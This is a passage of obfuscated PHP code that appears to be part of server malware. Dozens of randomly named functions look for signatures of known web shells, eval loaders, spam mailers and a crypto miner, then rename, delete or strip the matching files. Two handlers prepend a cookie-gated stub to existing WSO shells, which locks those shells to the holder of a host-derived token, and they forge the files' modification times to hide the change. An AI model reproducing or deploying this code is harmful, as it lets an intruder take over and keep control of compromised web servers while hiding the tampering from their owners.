if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkfb($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gwvcl($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rwcpa($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function guqt($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkfikhrjfwk($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gsmsydw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjbc($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gbbx($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtguslah($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function ggtomkb($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rkzbocsidc($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gvnkzpo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rczw($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gfcxqheahuo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrqoyc($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function guvwcibve($path)
{
return;
}
function rmysakymvc($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gxtakn($path)
{
return;
}
function rehtdp($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ghrmq($path)
{
return;
}
function rfxteopseot($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpwvxfmg($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgdrhrdhefv($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzikimlvdk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxld($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gkefzntrnfl($path)
{
return;
}
function rfzx($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function geodj($path)
{
return;
}
function rxapr($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggqirdrl($path)
{
return;
}
function rypyifw($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvvpsgdl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlhqinkyhbg($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function giixw($path)
{
return;
}
function rydsylijt($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwlrjngw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmzo($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function goqz($path)
{
return;
}
function raqb($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gplpos($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfbtpgy($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gkqxly($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkdastbak($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function glri($path)
{
return;
}
function rrzajdf($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpnva($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlnifyt($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function gskq($path)
{
return;
}
function rdyrb($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gkjriqfy($path)
{
return;
}
function rakbvowti($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gkbjkorfbpn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlwmt($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzqm($path)
{
return;
}
function ruzusu($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdnvtpcfidj($path)
{
return;
}
function rlntmhwb($content)
{
if (strpos($content, "error_reporting(E_ALL);\$DOMAIN_FNAME1_7QNG") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggfpitzqjfg($path)
{
return;
}
function rhdpz($content)
{
if (strpos($content, "@ini_restore('error_log'); @ini_restore('display_errors'); /*") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gxvmvgzyn($path)
{
return;
}
function rjmpguxj($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(base64_decode('eNq") !== FALSE) 
{
    return TRUE;
}
return FALSE;

}
function gobjqggzcf($path)
{
return;
}
function rqxc($content)
{
if (strpos($content, "};}}return $") !== FALSE && strpos($content, "'.''.''.''.'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gihhjhn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdfjs($content)
{
if (strpos($content, "function wp_sessiion_init(\$ytd){") !== FALSE && strpos($content, "='base64_decode';") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyryebpfrps($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgqlrvck($content)
{
$sig_3 = "<" . "?php eval(base64_decode('JGY9ZGlybmFtZSh";
if (strpos($content, $sig_3) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkfcrcmuyl($path)
{
return;
}
function rppxu($content)
{
$sig_2 = "if(\$_GET[\"login\"]==\"cmd\"){if(\$_POST['";
if (strpos($content, $sig_2) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkzisugq($path)
{
return;
}
function rxlijqm($content)
{
if (strpos($content, "//header('Content-Type:text/html; charset=utf-8');") !== FALSE && strpos($content, "global \$symbol_url") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gkaolkhze($path)
{
return;
}
function rmwauh($content)
{
if (strpos($content, "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32,") !== FALSE)
{ 
    return TRUE; 
} 

return FALSE;
}
function gdsacgevinf($path)
{
return;
}
function rkfivu($content)
{
if (strpos($content, "='';@eval(base64_decode('QG9iX3N0YXJ0K") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbdwneanftk($path)
{
return;
}
function rcxtz($content)
{
 if (strpos($content, "@include_once('/") !== FALSE && strpos($content, $_SERVER["DOCUMENT_ROOT"]) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gacxz($path)
{
return;
}
function rvqh($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('eNp") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdgukrbehju($path)
{
return;
}
function rcoytodsrrd($content)
{
if (strpos($content, "('Content-Type:text/html;charset=utf-8');if(!function_exists('str_ireplace')") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbuv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rswkjnyn($content)
{
if (strpos($content, "preg_match('#<img src=\"data:image/png;base64,(.*)\">#'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkiyqset($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwsytjpvg($content)
{
if (strpos($content, "\$meta = 'c'.'hr';") !== FALSE && strpos($content, "@\$docRoot(\$name(\$first,\$second));") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfcydabzk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdxkiz($content)
{
if (strpos($content, "# Esecuzione di un comando") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjghi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwjztszlg($content)
{
if (strpos($content, "function assert_main_php (\$domain, \$main_php, \$dir)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gvwlgbq($path)
{
return;
}
function rvnvf($content)
{
if (strpos($content, "('', '}'.\$") !== FALSE && strpos($content, "?php function ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjplq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbxkag($content)
{
if (strpos($content, "\$_FILES[\"filename\"][\"tmp_name\"]") !== FALSE && strpos($content, "Your IP: ") !== FALSE && strpos($content, "move_uploaded_file") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnyd($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsngzuo($content)
{
if (strpos($content, "script_name)) { echo '~Client has been activated") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grdnnlnmss($path)
{
return;
}
function rfix($content)
{
if (strpos($content, "<" . "?php /* WSO [2.6]  */\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function goftac($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryacdw($content)
{
if (strpos($content, "password: Xclusiv-3D") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfozbmtfj($path)
{
return;
}
function rkciot($content)
{
if (strpos($content, "\$sempax = 'eJzs") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkedulcv($path)
{
return;
}
function rusvddsrshz($content)
{
if (strpos($content, "Q2k4cUNpQXFJRkpGVmtsV") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmxfpvhb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rejecbo($content)
{
if (strpos($content, "\"));return;?" . ">") !== FALSE && strpos($content, "\";eval(base64_decode(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfynsbf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rikeinq($content)
{
if (strpos($content, "{ \$x = ''; for (\$i = 0, \$n = strlen(\$s); \$i < \$n; \$i += 2)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfzqmk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rosksnveply($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gpptrkk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtdpqwrv($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gqqqvehd($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rgnoyyffw($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function gpnefbhkvj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rsaiynuyyi($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function gncybbgsei($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rkhgwmkic($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gjthqv($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rsuohrbvsu($content)
{
if (strpos($content, "@chr((\$h[\$e[\$o]]<<4)+(\$h[\$e[++\$o]") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gvou($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rmsphqtlji($content)
{
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return FALSE;
}

$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return FALSE;
}

$content = substr($content, $sign_pos, $sign_pos_end-$sign_pos);

if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function guml($path)
{
$content = @file_get_contents($path);
$sign = "<?php";
for ($i=0; $i<100; $i++) {$sign .= " ";}
$sign_pos = 0;
if (($sign_pos = strpos($content, $sign)) === FALSE)
{
    return;
}
$sign_pos_end = 0;
if (($sign_pos_end = strpos($content, "?>", $sign_pos)) === FALSE)
{
    return;
}
else
{
    $sign_pos_end = $sign_pos_end + 2;
}
$content2 = substr($content, $sign_pos, $sign_pos_end-$sign_pos);
@unlink($path);
@file_put_contents($path, str_replace($content2, "", $content));
}
function rhwijib($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gbskcytfq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rgohpltnk($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gioavewob($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function rnly($content)
{
if (strpos($content, "0777);") !== FALSE)
{
    $brace2 = substr_count($content, ")");
    if ($brace2 == 18 || $brace2 == 33 || $brace2 == 12)
    {
        return TRUE;
    }
}

return FALSE;
}
function gczazwpr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rphnjmlolq($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function gwtr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlpux($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function ggodbbqpyk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhfqoo($content)
{
if (strpos($content, "<?php \$") !== FALSE && substr_count($content, ";") == 5 && substr_count($content, "=") == 2)
{
    return TRUE;
}

return FALSE;
}
function gohkft($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rthtuw($content)
{
if (strpos($content, "Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") !== FALSE) { return TRUE; } return FALSE;
}
function gkwjq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function resfdedv($content)
{
if (strpos($content, "this-is-the-test-of-door") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ghfokmnzw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnfyxqyq($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function grcvvoqbmi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmbqztarpn($content)
{
if (strpos($content, "if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);") !== FALSE)
{
    return TRUE;
}
return FALSE;

}
function gmcbedtlo($path)
{
@file_put_contents($path, str_replace("if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);", "", @file_get_contents($path)));
}
function rqicka($content)
{
if (strpos($content, "))));?" . ">") !== FALSE && strpos($content, "<" . "?php \$") !== FALSE && substr_count($content, "\n") <= 0)
{
    return TRUE;
}

return FALSE;
}
function goolcpe($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rfnmsbwvqnd($content)
{
if (strpos($content, "<" . "?php eval(eval(\"") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gytmxjlpvf($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rddjoa($content)
{
if (strpos($content, "'));return;?" . ">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grelv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rffht($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function gxyomsosfm($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rxijdyva($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function geloyzscnnc($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rizgldwci($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gwzgpkgmdsb($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdhjxbqrq($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gfya($path)
{
return;
}
function rxbdb($content)
{
if (strpos($content, "http://nezlobudnya.com/generate") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function grwtbfmwnj($path)
{
return;
}
function rzivwgo($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gjjztohsffl($path)
{
return;
}
function rfufyo($content)
{
if (strpos($content, "arr2html(\$_REQUEST['array']);") !== FALSE && strpos($content, "@assert(\$array);") !== FALSE)
{
        return TRUE;
}

return FALSE;
}
function gmehz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqvoze($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function guxdwhstw($path)
{
return;
}
function rgkhn($content)
{
if (strpos($content, "))));") !== FALSE and strpos($content, "\";@\$") !== FALSE and substr_count($content, "\";\$") > 10)
{
    return TRUE;
}


return FALSE;
}
function ggxizrhwed($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqlbwpaiygd($content)
{
if (strpos($content, "ZXZhbChiYXNlNjRfZGVjb2RlKCdEUW8vUGp3L2NHaHdEUW9qSXlNakl5TWpJeU1qSXlNakl") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gtde($path)
{
return;
}
function raqderwfusz($content)
{
if (strpos($content, "ER['REMOTE_ADDR'], \"23.8\")===false){") !== FALSE)
{
    return TRUE;
}

if (strpos($content, ".php.suspected\", \"t") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "unlink(\"../d730d81e7") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "<" . "?php @require('./") !== FALSE && strpos($content, ".php") === FALSE)
{
    return TRUE;
}

if (strpos($content, "\"];}exit();}\$") !== FALSE && strpos($content, ");break;case 1:\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if (file_exists(\"vzsda.php.suspected\"))") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gwwu($path)
{
@unlink($path);
}
function ruckk($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gstp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwayvirbvb($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gngstfh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rmcaiy($content)
{
if (strpos($content, "@gzinflate(strrev(\$") !== FALSE && strpos($content, "    if(crc32(\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gxtydpzse($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rlpcfesg($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "<" . "?php eval(base64_decode(") !== FALSE && substr_count($content, "\n") <= 1)
{
    return TRUE;
}

return FALSE;
}
function gexzstse($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rdosd($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzaiileaoyp($path)
{
return;
}
function rheloxwi($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function grfvanw($path)
{
return;
}
function rxtounqoa($content)
{
if (strpos($content, "PHP Encode by  http://Www.PHPJiaMi.Com/") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjzejz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqciro($content)
{
if (strpos($content, "\$code.=\$name.\"c+=String.fromC") !== FALSE && strpos($content, "if(isset(\$_COOKIE['google'])") !== FALSE){
    return TRUE;
}

return FALSE;
}
function gqsyikccz($path)
{
return;
}
function rkrxwwfglm($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfjvtzlgpcg($path)
{
return;
}
function rnigvste($content)
{
if (strpos($content, "alecs[at]indonesiancoder[dot]com") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkxgi($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjnuqwejz($content)
{
if (strlen($content) < 100 && strpos($content, "@require('") !== FALSE && strpos($content, ".php") === FALSE)
{
    return TRUE;
}

return FALSE;
}
function gycblgsaixg($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtyh($content)
{
if (strpos($content, "<" . "?php eval(\"?>\" . base64_decode(\"PD9waHANCmhlY") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gxbwhafo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rvdewbvp($content)
{
if (strpos($content, "pool.minexmr.com") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjcwzpqy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rrtlylvff($content)
{
if (substr_count($content, "} . \$") > 10 && strpos($content, "eval(\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gled($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rnmmxkotet($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdhupp($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rotblfck($content)
{
if (strpos($content, "c0556725c352dd17d48122205939c12a") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjvdmcyic($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rknh($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gltfrajh($path)
{
return;
}
function rfqhyk($content)
{
if (substr_count($content, ").chr(") > 40 && strpos($content, "                                                                              \$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function guoviyq($path)
{
return;
}
function riruqbitino($content)
{
if (strpos($content, "<" . "? eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gffqdvnilc($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ravxycjwxw($content)
{
if (strpos($content, "str_rot13('fge_ebg13');") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnnyiu($path)
{
return;
}
function rsoift($content)
{
if (strpos($content, "eval(\$_REQUEST['code']);") !== FALSE)
{
    return TRUE;
}
